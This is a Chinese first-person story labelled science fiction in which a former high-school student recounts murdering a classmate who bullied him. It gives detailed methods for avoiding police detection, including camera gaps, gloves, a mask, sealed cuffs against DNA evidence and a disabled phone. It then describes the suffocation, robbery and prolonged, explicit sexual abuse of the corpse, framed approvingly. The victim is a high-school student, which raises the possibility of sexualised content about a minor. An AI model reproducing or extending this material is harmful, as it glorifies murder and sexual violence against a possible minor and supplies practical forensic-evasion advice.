杀了我的女同学[科学幻想]

 
  那已经是好几年前的事了。在我读高中的时候,班里有个女孩叫田甜。长相在美少女中算是中等,尽管离所谓的沈鱼落雁还有不小的距离,但是很多人提到她的时候都会夸两句她的长相。说是天使面孔大概也不过分。身材也不错,凹凸有致,体形高挑。可要一说到性格,大家都会皱起眉头。

田甜这个人可能是从小养尊处优,颐指气使惯了,对别人完全不懂得尊重。

她在男生里有着一帮死党,或者说是跟班。她在班里看谁不顺眼就教训谁,后者如果不服就会遭到那群走狗的暴打。她连女生也不放过,有人和她斗了几句嘴就挨了一顿痛打。我在对她的行径表示不满,甚至没有说出来,只是在他们殴打别人时以不满的眼神注视她,就被她直接下令攻击。一群强壮的男孩过来把我放倒之后一顿拳打脚踢,连她本人也参与进来踹了我好几脚。被打完之后她居高临下的轻蔑奚落了我几句就带着人走了,她那时的恶毒表情我至今难忘。过了好一会儿我才在同学的搀扶下爬起来,身上的淤青一直带了好几天。总之田甜就是在我们班里充大姐头,谁不听她的话就会挨打。我后来还挨过几次暴打,理由则是多种多样,其它很多同学也有类似的经历。谁都知道她老爸很有钱,和学校关系相当不错,告状也没用,所以大家只能选择忍气吞声。我听到很多男生在私下里谈论想宰了她,但他们只是说说而已,一时的气话或是逞强。我则不同,我准备付诸于实际行动,并且我还要她付出更多的……

另外田甜的个人作风也不太好,她频繁的换男朋友,可能是高年级的学长,更多的时候是社会上的混混类型的人。大概几个礼拜就换一个。换也不是那么简单的,和前一个分手有时可能很容易有时则不然。一天早晨我曾经注意到她的左脸颊上有被扇过耳光的手印,她本人很狼狈的在那里涂了不少粉来掩饰,但是仔细看还是能看出来。想必是和男人分手的时候被抽了。她注意到我看着她的脸,而且从表情上显然也知道了发生了什么。这家伙恼羞成怒的向我纤手一指,这帮跟班立即一拥而上就是一顿拳头,把我揍得七荤八素。这样的女人值得宽恕吗?

这更坚定了我杀死她的决心。再者她经常和男朋友发生冲突这一点也可以被我巧妙利用。有过这么多不三不四的男朋友,也不知她和其中的多少人睡过了。

我往常看过的警匪片很多,对于警察的破案思维有一定了解。我制定了详细的计划,准备在一个合适的时候施行。后来她依然仗势欺人,但我躲得她远远的,就避免了和她发生冲突。然而这正是我计划的一部分。我不与她发生正面交锋这样以后警察破案时我的目标就小了很多,警察查访的重点必定是那些经常和她发生矛盾的同学与她那些下九流的男朋友。到了高三上半学期,机会终于来了。

那时刚开学不久,我注意到了一点问题。在我们大城市,即使是高三学校晚上放学也不会太晚,八点半左右吧。绝大部分人都走了以后,田甜会和她社会上的男友在教室里调情直到九点半以后再回家。她私自配了班里的钥匙,自然没人敢反对。而在自习室学习的同学要到十点半才离校。他和男人在教室里胡搞也不必担心传达室的人上来检查。另外一点,我们学校的地处相对偏僻,而他的这个男朋友晚上居然不送她回家,当然主要问题是她家离学校不远,穿过一片布满树丛的街道之后转几个弯就是她家,也就不过十几分钟的路程。她从来都是走着回家,没人送也应该没问题。可是这一下就给我提供了机会。放学时校门右侧的穿过树林的街道往常的人不多,在田甜离校的九点半就几乎没有人了。虽然学校在家长们的强烈要求下于那条街道上安装了一些路灯和少得可怜的几个监控器(鬼知道那是不是摆设)但我完全不用在意。路灯已经坏了一半,人们往常都是借助月光的照明来看路。经过一段时间的观察我发现田甜晚上放学自己常在左边的人行道上走,上弦月的时候那里的树被月光投映成为阴影,人走在里边很不明显。

这为我提供了又一个便利条件。

我特地选择了上弦月的一天。从前一天起,我上学的时候,外套内穿着以前从未穿过的衣裤,书包里拿出了一部分课本装进了一些特殊的工具,而书包在外表上看不出什么不同。我在前一天晚上放学的时候偷偷溜进学校附近的树从,脱下外套露出里边那身衣服以防被人看到,而后用书包中携带的折迭工兵铲挖了一个足以埋进一个人的坑并注意隐蔽了一下。我远远看着在班里依然带着一帮走狗盛气凌人的田甜,我轻蔑的一笑:「狂什么,女人,你只能活到今晚了。」当然,这是内心的独白,绝对不能让人听到。

晚上八点半,我和其它同学与往常一样嘻嘻哈哈的一起骑车回家,我走的时候并没有多看田甜一眼,因为我知道一切都会按计划进行。我到了家门口,同学们道别后继续前行。他们走后我观察了一下周围,躲到暗处脱下外衣,显露出那套新衣服。关掉手机以及身上其它所有可能暴露自己的东西。之后掉头绕一个大弯去学校。现在田甜毫无疑问又和以前一样在教室里坐到男人大腿上,两个人搂在一起又亲又抱,大概还会夹杂一些亲密的情话。等到九点半才出来吧。

在黑暗掩护下到了树林那里,我避开摄像探头和行人,在林间行进。把自行车藏到树林里某处之后我就开始准备了。皎洁的月光透过树丛的缝隙在灰暗的地面投下斑驳的碎银。天气不冷不热。真是一个绝好的时候。我拿出望远镜看到远处学校那里我们的教室灯还亮着。看来一切照常。等到九点二十的时候灯熄灭了。

看来要开始了。

先戴上了很久以前买来的皮质手套,这是为了防止留下指纹。还带上了一个看上去很搞笑但是在那种情况下绝对让人笑不出来的东西——防毒面具。是我痴迷CS那段时间从网上邮购的。

眼窗是整块的有机玻璃,而不是两个圆窗,那样会严重阻碍视线。这第一是为了万一袭击不成让她跑了我也不至于被认出,第二点就是我从后边攻击她时她必定会有激烈的反抗,我担心她打到我的眼睛。我还扎紧了袖口领口,这是为了防止她挣扎的时候指甲在我身上造成伤痕,如果她的尸体被找到,那么她指甲缝刮下的皮肉就很有可能成为指控我的证据。再一次拿起望远镜,看到田甜一个人从阴影下的人行道走过来了。我心跳加速,终于要开始了。

无论怎样,要杀一个人是会有心理压力的,对于我,可能更大的问题是杀人之后害怕警方的追捕。但是我又强作镇定,各方面都做好了准备,不可能出现疏漏的。

我选择了很合适的一个地方,离学校和下一个路口都有不小的距离,而人行道的树荫会影响视线,两边的人很难看清楚这里。而这里也正是3 号和4 号监视器之间,也超出了它们的监视范围,所以选择这里下手非常合适。人行道与树丛之间还有零零落落的灌木,正好用来藏身,还不会太妨碍行动。

她走近了,我躲在一处灌木后面,看着她走近。心跳更快了。此时田甜身穿紧身黑色皮上衣和同色系裤子。再往下是一双及膝的黑色高跟皮靴,紧紧包裹小腿的靴筒和细长的靴跟很好的衬出了她的身材。走在人行道上时皮靴跟落地发出柔和的敲击声,却足以掩盖我从后方接近时的尽可能降低的脚步声。她从我面前的灌木丛走过,脚步没有丝毫的停顿或慌乱。证明没有被察觉。此时,只要她接一个时间稍微长一点的电话,或是路上来几个行人,来一辆汽车或自行车,甚至只是她离开阴暗的人行道,就可以逃脱我今天的攻击。

我抬头以最快速度搜索一遍路面,除了目标以外没有其它人。而田甜还在几米开外兀自不觉的向前走。靴子继续发出规律的「磕,磕,磕」的声响。

我立即做出判断:目前危险系数0 ;目标行动情况在控制中;突发干扰情况概率很低;被发现概率极低,行动条件具备。

我深吸一口气:「好吧,行动!GOGOGO!」

我如同一只潜伏的豹,从间隙闪出了灌木丛。猫靠着腰自然伸开双臂,以大约目标步行幅度的两倍从后方接近目标的六点钟方向,期间将脚步声完全隐藏在女孩皮靴敲击地面的声响中。在这期间我竭力通过控制呼吸来抑制过快的心跳。

如同许多特种作战电影一样,我几乎无声无息的来到了田甜身后。

女孩还是一直向前走,挎包背在身侧。并没有刻意的扭腰摆臀,但是在高跟靴子和紧身皮衣的烘托下田甜走路的背影显得那么婀娜多姿,这更是诱人犯罪。

直到这个时侯她还是没能预知到危险。那这就是你命中该着了!

我突然抱起,探出右手,环过她的脸立即捂到她的口鼻位置,左手则从她胸前环过一直扣到她的右臂,把她的手臂整个箍住。女孩终于发现了危险,立即陷入惊慌。她想要尖叫,可是声音从我的指缝中泄出时只剩下了「呜呜」的低吟。

她当然没有放弃抵抗,伸手想拉开捂住她口鼻的手。由于手臂被钳制,只能用小臂。当她的双手合拢从前方扳住我的手的一刹那,我的左手闪电般抬起钳住了她的一双手腕。这下就没问题了。她来回摇头试图摆脱我的窒息行动,可是她力气上输我很多,我的手臂牢牢地控制住她的头颈,使她的一切抗拒都被挫败。

呵呵……谁叫她只依靠那帮走狗而不懂得锻炼自己呢。现在她的口鼻被我捂住,双手也被我控制。问题应该不大了。她那不安分的小嘴还试图咬我的掌心但是当然做不到——除非她是暴牙……于是我把她的后背靠在自己身上,就这样把拼命反抗的女孩从预设地点拖进了树丛。再观察周围一次,没有问题。女孩搏命的胡乱挣扎,拖动她时靴跟在土地上磨出深深的两道印痕。不过不是站到路边打着手电往里看是注意不到的。再说按照计划一会儿也要回来清理这些痕迹的。这一切还是在计划当中。

把女孩拖进树丛深处的过程中可以看出她反抗的力量逐步下降小,由于口鼻被捂住造成的缺氧和惊慌失措的抗拒消耗了许多氧气,她现在必然已经开始头晕眼花。

没错!钳住她双腕的手上传来的力道也在减小。很好,压制成功,对方抵抗能力即将减半。我紧挨着她的头,如果没有防毒面具的阻挡相信可以闻到她的发香。不过戴上这个也防止了她突然回光返照的一仰头,磕断我的鼻梁——动作片里经常出现的场面。

到现在为止前后也就几分钟。我把她拉到树丛中一处空地,她刚打算站直我就伸腿一绊,使她失去重心,之后将钳制她双手的左手松开,用于托住她的后脑勺,捂嘴的右手自然不能松开,蹲下的同时将她整个人迅速放倒在地。她的双手刚想做什么我就立刻伸出右腿跨过她的腰,将她的双臂再次紧紧钳在腰侧。这个时侯我才真正有机会打量她的面容,而且心跳才逐步平稳下来。

田甜水灵慧黠的双眸中溢满了泪水,还充斥着恐惧与慌乱的神色。尤其是在她看到我这个阴森的防毒面具之后。我感觉她已经构不成太大威胁并且绝无可能逃跑之后,我的左手从她后脑下抽出,摘下了防毒面具。这玩意不仅很热,而且呼吸不畅还真是难受耶。不过比起我面前这位由于缺氧满脸通红的美女,我这点痛苦应该不算什么。

田甜注意到我的相貌,先是一愣——绝对是一愣,因为她的挣扎都停止了片刻。随后反抗变得更加激烈。我的左手按住她的头不让她摇头摆脱我的控制。此刻她的水眸中除了痛苦与惊恐,还多了祈求饶恕的眼神。那眼神让人无比揪心。

我只好选择偏过头不看,只是我开始有些动摇。这个女孩尽管是那么的令人反感但是她罪不当死,她还有父母,还有家人,还有追求美好生活的权力。我这样做太过分了。但是片刻之后我硬起心肠,她当年是怎么对待我的?在我被痛打一顿之后她还对我冷嘲热讽,像她这样没有教养的女孩想必在家里也是一天到晚和父母顶嘴,在外面给父母找麻烦,还胡乱花钱,勾引男人,父母一定也是伤透了心。

她如果死了,同学们想必不会有多少同情,因为以后可以少挨欺负……最重要的,我如果现在放了她那么她又知道了我的身份,一报案我全完了。所以箭在弦上,不得不发。她必须死!

我回头看向她,现在一副梨花带雨楚楚可怜的模样,和以前侮辱我的时候张牙舞爪的姿态真是对比鲜明啊,我冷笑起来。

「女人,你想想你以前是怎么对我的,我现在不仅要你的命,还要你的身体!」女孩的眼睛里充斥着惊慌失措,她想摇头解释,但是被我的手牢牢控制,温热的泪水滑落面颊流到了我的手上。此时此刻,我不可能没有一点动摇,但是已经没得选择了。

就这样过了一会儿,她的眼睑开始剧烈跳动,很快眼神逐渐涣散迷离了,双手也不再企图挣脱了。看来由于大脑缺氧已经导致了休克。又等了一会,她的眼睑也缓缓闭合。我收回右腿,左手从两边分别抓起她的双手,举高,而后一松手,她的玉臂如同无生命的树枝一般随重力「啪啪」地落回身体两侧。看来应该没问题了。据说人在窒息的时候容易大小便失禁,是不是这么回事呢。我的左手在她小腹上轻轻一按,她的裤裆部分不久就湿润了一片。我不禁笑了起来,再怎么嚣张,再怎么是美女,窒息的时候也会发生这样丢人的事。我没再使劲去按,而是继续捂着她的口鼻。

几分钟之后确定她已经死透了,我才放开手。右手由于一直竭尽全力保持一个动作,现在僵硬酸痛,甩了好半天才缓过来,险些抽筋了呢。好了,现在大功告成。我除下皮手套,吹了吹手心的汗水。随即换上了医用超薄透明手套,这东西戴与不戴区别不大,一样可以感受到温度和质感,只是不会留下指纹罢了。

我顾不得仔细看自己的杰作,环视周围确定没有情况,从尸体的肩膀上摘下挎包拉开拉锁,略一搜索就翻出了她的手机。查看了一下,有一条未接短信,我点开一看是她男朋友发来的,也就是一堆恶心的情话和希望她晚上早点睡。呵呵,不用你操心,她已经睡了。

没有未接电话,这实在是太好了。我按下了关机键。这是我注意到她的手机背后有一张大头贴,她和男人的合照。一个面相有点凶恶的男人和田甜摆出一个接吻的动作,后者一脸甜蜜幸福的微笑,就是一个纯正热恋中的女人。但是在这张大头贴四周还有不少撕掉的大头贴的残痕。我轻蔑的一笑,被撕掉的就是和以前男人的合影?你个贱女人。我突然伸手给了她一耳光,把尸体的脸都打的偏了过去「这是代替你的父母给你的,你这不孝的女儿。」手机被放回挎包。

我又翻出了她的皮夹,打开之后里边的一迭钞票映入眼帘,一百元的就有一摞。喔,果然家里很有钱嘛。我从里边取出7 张百元塞进口袋,对着女尸挥了挥皮夹「婊子,你不该有意见,你欠我的。」皮夹内层还有她的证件,一寸彩照中的她模样婉约可爱,我摇了摇头,照片和真人差别永远是那么大。还有名牌服装的优惠卡,网球俱乐部会员卡之类的东西我也懒得再看了。反正和我没关系,和她更没关系了。挎包里还有口红,化妆盒之类的东西,可笑的是还有防狼喷雾,我心想,你这种反应神经要这个根本就是浪费,而我又有防毒面具,你用也白搭。

总之没什么可能发出声响或带来麻烦的了。

又一次环顾四周之后,我抱起女尸扛到肩上,走向我预设的游乐地点。这丫头的尸体死沈死沈的,扛的我很累。简直是两麻袋粮食!大概有将近一百斤!她要是能减减肥就好了……作为经常讽刺女生减肥的人,我头一次希望一个女生应该去减肥,真是搞笑啊。尸体的脚尖在晃动中有意无意的碰到我的大腿,撩拨的我心里奇痒难忍,只希望赶快到地方赶快开始。

到了林中的一片空地,树冠之间有一个很大的缺口,明亮的月光直接洒到了地面形成一大片白色的光斑。我装运工具的背包也放在这里。于是理所当然的把田甜放到了这片月光中。

再一次打量周围,没有异常。我长出一口气,蹲到尸体脚旁,开始仔细打量这具十分钟前还是一个活蹦乱跳的美女的娇躯。一直从头看到脚。皎洁的月光洒在女孩的脸上,显得那么恬静,那么安详,又是那么迷幻。

及肩的直发披散在头的周围。她的眼睑并没有完全闭合,长而微卷的睫毛下还隐约透出眸光,只是完全没有了生命的色彩,还含着不少的泪水。脸颊上还有未干的泪痕。挺翘的鼻子在月光下有一种近乎玉琢的质感。娇小的菱唇略微红肿,一定是刚才在教室和男人接吻摩擦的吧,唇角还有口水一直流到颈间,大概是窒息的反应。

视线再往下挪,是她雪白的颈子,上面还有一溜口水,有点破坏美感。她的两个乳房丰盈挺拔,纤柔的腰肢加上紧身皮衣更是勾勒出了她的优美线条。

再往下是下半身,一条Cartier 腰带吸引了我的目光,一个精细打磨的金属长条皮带扣上两个中心相同的圆圈,看样子应该是价格不菲的名牌吧。看到她尿湿的裤裆我又差点笑出来,不过希望刚才用力较小,力气如果一大,尿液像开闸的洪水那样倾斜而出就不好了,关键是它的味道难以清除会带来大祸;要是那一下还压出了大便就更糟了,我可不想扒下她裤子的时候发现内裤兜了一裆的大便。

田甜的双腿纤细修长,我不禁猜测她是否学过舞蹈。我头脑中又开始幻想她身穿芭蕾舞衣挺拔旋转的模样和身穿南方少数民族少女的服装赤着双脚翩翩起舞的样子…我赶开杂念继续向下,是一双做工精良的皮靴,靴尖顶端是可爱的圆。

整条靴子上都没有那些庸俗样式的冗杂挂饰,只有脚踝处一些人为的皱褶和靴筒侧面的银色拉链装饰一下,也不像有的靴筒上大下小显得臃肿,这双靴子的直筒紧紧包住主人的小腿而不留空隙。看上去靴子外表呈流线型,显出一种干净利落的美。和它身材纤长的主人很是相配,把女人的「条」很好的表现了出来,有着一种任性狂野的气质蕴含其中,和这个往日嚣张跋扈的少女非常符合。这绝对也是国外的名牌,至少几千元吧。这尸体全身的行头加起来可能上万。

表面光滑细腻的高跟皮靴在月光下闪着柔和的光芒。其实这也是我决定在最近下手的原因之一,田甜穿靴子的样子太好看了!以前从没有觉得她这么漂亮,这么诱人过。反正我也打算要她的命,不如就趁现在呢。我的心跳不由得又加快了。一位姿色可人的女孩毫无防备的躺在面前,任你肆意玩弄,这样的机会以后可没有了呢。

不想再忍就不必再忍!我决定先从她的脚开始下手。我慢慢拉开她右脚靴子的拉链,我很享受这个过程,她如果是穿运动鞋我最多只能享受到解鞋带的快感,和现在的可差多了。主要就是这种一切在自己掌握之中的感觉。再说运动鞋的脚步声小,难以借此掩盖我的接近,所以说还是喜欢靴子啊。拉链整个拉开了,我托起她的鞋跟,轻轻的捏着她的脚踝从靴筒里拿了出来。她穿了一双邪恶的黑色长筒丝袜。五个肉头浑圆的脚趾在黑色半透明纤维的包裹下散发着朦胧诱惑的美感,同样诱人的还有圆滑细腻的脚弓,尤其是洁白的脚心在黑丝的裹挟之下更是有一种吸引目光的突出视觉效果。她穿的裤子原来是稍稍过膝的短裤,底下就全交给靴子了。

我如同捧着易碎的珍宝般将她的脚丫抬起到面前,脸庞马上可以感受到她的脚掌发出的温热气息。我闭上眼深深的吸了口气,皮毛的香味和脚丫的汗味伴随着丝袜的特殊味道溢满了鼻腔。我又多吸了几口,丝袜与皮靴的味道减弱,脚丫的臭味明显起来。说是脚臭,但是女孩的脚臭是一种相对柔和的,还带着一点奶味和豆类香味的味道,和男人的恶臭截然不同。至少对于恋足的我来说,是非常非常喜欢的。

我还是免不了奚落两句,我转过去对这田甜说:「喂,女人,你几天洗一次脚?你的脚这么臭那些玩弄的你的男人们没意见吗?还是他们原本就喜欢?」反正我是求之不得的,其实现在还不到10月,但是有的怕冷的女孩早早就穿上长靴了。那么焐脚就是肯定的,稍微有点爱出汗体质的女孩就难免会脚臭。说起来她的那些男人们不知对她的脚有什么看法,如果只是操她而不懂得玩弄她的脚丫,那可真是暴殄天物。不过无所谓,我现在就要实现一下她的脚的价值了。

说起来她曾经好几次出国游玩,那么就是用这双脚走遍了欧美和东南亚的很多国家。可是现在这双脚哪里也去不了了,只是我手中柔软的玩具而已。

这时候我注意到她的脚丫尺码似乎较大,我拿自己的手比了比,她的脚比我得手长出几厘米。呵呵真太好了,我其实不喜欢那种萝莉样的小脚丫,我认为真正的少女的身体就该有点接近成熟的御姐的样子。比如尺码增大的双脚。我的手指逐一从那五个蚕豆般的脚趾上抚过,女孩的拇趾和食趾基本平齐,其它脚趾依次呈阶梯状分布。脚趾自然地并拢在一起,排列的十分整齐。田甜的拇趾呈上尖下圆的草莓形,甚是可爱。

拇趾虽然稍大但完全没有破坏整体的协调。其它脚趾则是椭圆形。没有任何一个脚趾上有茧子,相信除了自己的注意就是经常做保养吧。脚趾甲想必也是经过精心的修剪。这样看来不太可能是学跳舞的,学跳舞的女人都是腿好看脚难看。

我一边玩着手中的脚丫一边对着田甜说:「谢谢你,女人,没去学跳舞,不然我今天能玩的就少多了。」而后我用指甲在田甜那柔嫩的脚心上来回刮擦。如果她还活着,一定会笑着缩脚吧。我又一次低头去嗅那个味道:女孩带着体温和一点点体香的脚臭再次令我全身舒畅。这一刻心中有如电击。

我又脱下了她的另一只靴子,这次脱下来的时候我先把靴筒递到面前闻了闻,首先是一股热气溢出,然后飘出了皮毛与汗水发生反应的舒爽味道,还有丝袜的柔和气味,显然在靴子里是毛皮的味道比较浓烈。我丢开靴子,拾起她的另一只丝袜脚。我不喜欢丝袜,但是对于这双黑色丝袜则颇有好感。玉足的形状和颜色在丝袜中若隐若现,还有弥散在身边的淡淡肉香味,令我沈醉。我双手捧起她的两只脚丫凑到鼻端,这次诱人的脚汗味更浓了一些,丝袜的味道也相对更重。我左右摇动她的双脚,让它们的拇趾来回相碰,宛若一对玉枝。玩弄女孩的脚可是最重要的前戏。

我放下她的双足,弯腰揭开了她的裤带,顺手扒下了她的短裤。原来她穿的是白色的绣花内裤,挺可爱。她穿的黑色丝袜还是蕾丝边的!这个认识令我惊讶,真太性感了。我的下边马上又直了起来。我的手指勾起丝袜的蕾丝花边,慢慢一点一点向下卷。只可惜大腿根相连之处被尿浸湿了。这个过程心中就开始躁动了。

终于褪到了脚尖,袜子已经成了一大团。拿下之后终于可以清楚的看到她的脚丫。

月光下一对脚丫显得玲珑剔透,修剪整齐的圆形脚趾甲上涂着粉亮的指甲油。

我记得夏天的时候田甜是光着脚丫穿凉鞋的,但是当时她的脚趾甲上涂的是嚣张冶艳的鲜红色丹寇,我认为那个颜色很恶心,所以就没有仔细打量过她的脚背。

她光洁柔滑的脚背反射着象牙般的光泽,让人忍不住去触碰一下。整个脚面都是葱白色,依稀可以看到永远不再流动的静脉。这片洁白一直延伸到脚趾才逐步转变为粉红色和肉红色。每根脚趾都如小葱般晶莹水嫩,向下颜色变为粉红。脚趾尖也同样圆滑可爱。转过去看她的脚掌,五个圆润光滑的脚趾之间是细密柔和的趾缝,那带着桃红色光泽的趾肚姣妍欲滴。脚掌上隐约可见的纹理间散发出沁人心脾的肉香,白玉般的脚心柔美异常,鹅蛋般圆滑细腻的脚跟泛着浅浅的红晕,由脚掌到小腿颜色逐渐过渡到藕白色。只是脚跟转折处上有少许茧子,显然是穿高跟靴子磨出来的,这就是美丽的代价吧。

我转过去说:「女人,你的脚丫子真漂亮,保养做的不错啊。我是唯一一个这样端详这样赞扬你脚丫的人吧?虽说你的脚丫子很臭但我还是照玩不误,不嫌弃你什么。这样你不该对我有意见了吧?」

我张嘴一下子含住了她的半只脚掌。她的脚丫虽然纤长些但是还是和其它女孩一样窄小,含进口中并不困难。我的舌头软软的停留在她的脚掌上,感受着她脚心的汗水在我的口水中慢慢化开在口中的味道,也能闻到脚心那沁人心脾的馨香。

我的舌头来回拨弄她那五个活泼可爱的脚趾头,舌尖擦过一个圆润的趾肚,落到趾缝中,再游移到下一个脚趾头……我从口中拿出她的脚丫,脚指头上的口水还粘连成丝在我们之间形成一道漂亮的弧线。我伸出舌头舔舐她柔嫩的足心,沿着脚心的纹路往复不断,脚汗的咸味和臭味在口中融化。又咬了咬她的脚趾,但是力气不能大,否则警察根据牙印也可以指控我的。我捧着她修长的脚丫,来回摩挲玩耍,就像小孩子得到了一件爱不释手的玩具一样。不过也是,不仅是这双臭脚丫子,这个女孩身体的每一部分都是我的玩物。她现在已经不是那个骄横跋扈的大小姐,而是一具任人玩弄的艳尸了。

我从一旁的包里拿出一筒炼乳,将里面的奶油挤到了田甜的脚掌上。在粘稠的膏状物从脚掌顺着脚窝流向脚跟的时候我伸舌将其在足心上截住,而后舔个干净。又在她的脚趾缝间挤上了炼乳,而后再次把她的半只脚含进口中,用上牙膛和舌头紧紧夹住,直到那里充满口水,炼乳随之化开溢满口腔,我将她的脚掌拉出一部分,之后紧紧含住脚趾部分吸吮那里流出的炼乳汁。奶油的香味加上脚丫的臭味……这味道真是太美妙了!我只觉舌下芬芳,不禁咬噬起这只甜美的脚丫,舌尖游走在女孩柔软滑腻的粉白脚心上,轻轻擦着脚掌上的细纹,还直接咬住女孩的纤足,手握脚踝前后拉动她的脚,已被口水充分湿润的脚掌脚背在我牙齿的刮擦下发出「吱吱」的响声。还在她的脚心上抓挠了一会儿。看着这对经过精心护理与修剪的脚丫,我想她绝对料不到有一天会有一个被她欺负过的人会这样凌虐她引以为傲的双足吧。好了,花在这双臭脚上的时间够多了,该看看其它部分了。

我把这对玉足扔到一边,开始打量尸体的上半身。我拉过尸体让她的背贴住我的胸膛坐到大腿上,她的小脑袋自然软软的侧枕在我的肩膀,还能闻到她的头发散发出的洗发水的清香。我从后边搂住她,脸凑到她的耳边深深吸了一口她独有的香气,洗发水,一点恰到好处的香水再加上青春期,尤其是恋爱中的女孩子身上散发出的特有的雌性激素发出的幽香……和她的脚臭味尽管完全不同却一样诱人。真有意思,她上半身有着令人心跳加速的体香,下半身又有魅惑动人的脚臭,真是完美的结合。

她现在的样子也很有趣,上半身衣冠整洁,下半身只剩一条尿湿的内裤,光着大腿和脚丫。我下边那玩意又直了起来,而且她沈甸甸的尸体坐在我的大腿上,小屁股直接就压住了昂起的粗屌,那感觉很难受。于是我决定立即动手。先脱她的皮衣。从后边脱反而省事。我反手由上到下拉开拉锁,伸手一推尸体的背,女孩听话的弯腰俯下上半身,我把她的双臂拉到后边,一拽袖子衣服就脱了下来。

扔到一边之后我又打量了一下四周,随后迫不及待的拉起尸体的双臂将女孩的后背重新靠到胸前。双臂从前面交叉着放到她的腰间,随即手指伸入好几层内衣的下缘。勾起所有的带着松紧带的衣边向上一抬臂,衣服就被脱到了腋下,当然这具尸体一点也不配合我的动作,我还得拉起她瘫软的一对手臂举高,用一只手抓住她的双腕——就像一开始那样,另一手迅速一拉衣边,将套头内衣整个拉了起来,另一手也帮了一下忙这些还带着香味的衣物就全都脱离了主人的身体。

衣物离开之后女孩的头无力的低垂到自己的胸前,头发有些凌乱的耷拉在那里。现在还剩一件吊带胸罩。我从后边拉开乳罩的拉链,拿住两边的肩带顺着她的藕臂向上一扯,女孩洁白的手臂自然也被动的抬高,胸衣一滑脱手腕那双胳膊立即落了下来,打在自己的大腿上发出「啪」的一声。我将尸体放平,拽住女孩湿答答的内裤两边的两条细带,向下扯下,一直拽到脚丫然后扔在一边。好极了,现在这具娇艳可人的尸体一丝不挂的呈现在我的面前了。

尸体的乳房正如我想象一样即使是仰卧也依然高耸,恍若凝脂的乳房饱满浑圆而富有弹性,玫瑰色的乳晕尽然占了这个乳房的五分之一,乳峰之上坚挺的两点提子般小巧圆润的乳头为它做了完美的注释。我俯下身去伸舌弹弄她的乳头,乳头的来回跳动带动了整个乳房的微微震颤。我轻轻咬住那柔嫩的乳尖慢慢抬头,整个乳房都被像山峰一样拔起。我张开牙齿,乳房又落了回去,并且摇摆不停,在月光下反射出令人迷幻的花白色彩。

视线继续向下,她的腰身呈漏斗形细收,小腹光滑而没有一点赘肉,还点缀着可爱的肚脐。再向下终于到了女孩子最隐秘的部位。我分开她的双腿。田甜的阴部微微隆起,刚才就将内裤顶起一个小小的鼓包,现在终于可以看清楚了。那里有颜色不深的三角形黒丛,到底还是少女啊。成熟女性这里的毛应该很密集的。

田甜的阴毛无规律的或疏或密的排布在一起,有的阴毛顶端还挂有尿液的水滴,我指着这里问尸体:「女人,你不害羞吗?」当然没有回应。

我低头仔细去看,阴毛中间是粉红色的阴唇,自然是少女的颜色,可惜不知已经被多少男人用过了,也不知会不会有性病。不过有安全套也不必太担心这个。

我把脸凑到她的阴道前,立刻就闻到了淡淡的尿骚味。不过和脚臭一样,女孩子的尿味都比男人的相对要好闻得多,何况是手中这个漂亮玩具的。两个手指按住她两边的阴毛,一使劲阴道口就为我敞开了。

借着月光可以看到阴道内的颜色是嫩红的,外阴处上方可以看到小巧的宛如葡萄核般的阴蒂。我伸手过去轻轻从下勾挑这粒花核,如果她还活着,就会发出呻吟并从阴道流出润液。不过这对于尸体显然没用。

我注意到她的阴道下还有汩汩的细流不断流出,源头是阴蒂下的一条小缝。

我突然产生一个邪恶的念头,我要尝尝这家伙的尿。说起来很难为情,这根本就是变态。但是现在她是我的玩具,我想怎么玩都可以,所以我也不去想太多。

我撅起嘴唇贴上女孩的阴部,此时舌头已经可以尝到腥咸的尿味了,我在那美丽花核下的缝用力一吸,毫无悬念的吸出了一大口尿液。田甜死后肌肉松弛,管尿道的括约肌也是一样,刚才一压就压出了尿就是最好的证明。我没有将它吐出来而是用舌头在口腔里慢慢兜了几圈再缓缓咽下。咸的,有酸味还带着腥臊,但是组合在一起的味道居然是那样的诱人。算不上好喝,可是很刺激。

我的下体又一次硬了起来。我喝下尿液之后她的膀胱里就不剩多少了,都顺着下体的缝流到了肛门。其实我这么做还有另一层目的,一会儿操她的时候再压出尿来就很麻烦了,也影响情绪。这时我把尸体翻了个身,看着她的屁股。这个大屁股观赏价值还真高,雪白挺翘,滚圆外形的如同一件艺术品。我按住两个白花花的臀瓣向两边挤开,露出了粉嫩的肛门,还好,刚才没有挤出大便。我抓着她的小腿把她的下半身抬起来,低头亲吻她的肛门,舌头伸出去把口中剩余的尿液都引流到了她的肛门中。正好是废物利用,避免了一会儿操她屁眼的时候干涩的进不去还要依靠其它东西。

我又把尸体翻了回来。把双腿打开扔在那里。现在我们的样子十分滑稽,这个美女全身赤裸,一些头发盖住了脑门和一部分脸,嘴巴微翘,不知廉耻的挺着一对白皙的乳房好像在炫耀,大腿张开里边的密境一览无遗,阴道里还流出一束尿液。脚丫上的五粒脚趾也直挺挺的对着天空还散发着一阵阵的脚臭味。而我身上衣冠整洁,跪在她前边。

我拉开裤子的拉链,掏出早已昂首挺立的粗屌,双手抓起尸体的脚踝架在肩膀上,就插入了女孩的下体。我自然用了安全套,那样尽管不是太爽,但是避免了善后的麻烦。所幸进口的名牌安全套戴和不戴感觉上差别不大。我毫不怜香惜玉的刺入她的阴道。本来就是,她已经死了,没什么尊严人格了,只是一堆死肉,一个柔软的供人发泄的玩具而已,哪里需要什么温柔。

我的粗屌挺进了她狭小的花径,不是很紧,更没有处女膜,我原本也没抱这个幻想。炽热的粗屌贴着微凉的阴道壁,一阵阵快感入电流般传来。我一弓腰抽出一部分,再用力插入,再抽出,再插入,不停的重复这一动作,越来越快,越来越舒服。

阴径紧紧夹着我的粗屌,每一次刺入都有着与柔软肉壁的摩擦与压迫,那种舒爽的感觉令人不禁沈沦其中。我继续往复着这一切,同时把她放在我肩膀上的一对脚丫拉下来,将她有些凉了的脚掌全都贴在脸上,来回蹬踏我的脸庞,一边感受着柔嫩的脚掌带来的触感,一边猛力吸着那淡淡的脚臭味,快感一波波传来。

我一次又一次的快速而力量十足的撞击着女孩的下体发出「啪,啪」的声响。

而老二飞快的摩挲着她的阴蒂,小小的花核也随着粗屌而一进一出。田甜的脑袋在尸身的颤抖之下左右摇动,就像是在随着节奏摇头,那小嘴微张的安详表情就如同是陶醉其中。

一头压在身下的秀发也在摇头过程中时而拉直时而弯曲。那一对健康饱满的乳房随着尸体的摇摆而滚来滚去,两粒不安分的乳头也在白皙的肉球上来回跳动。

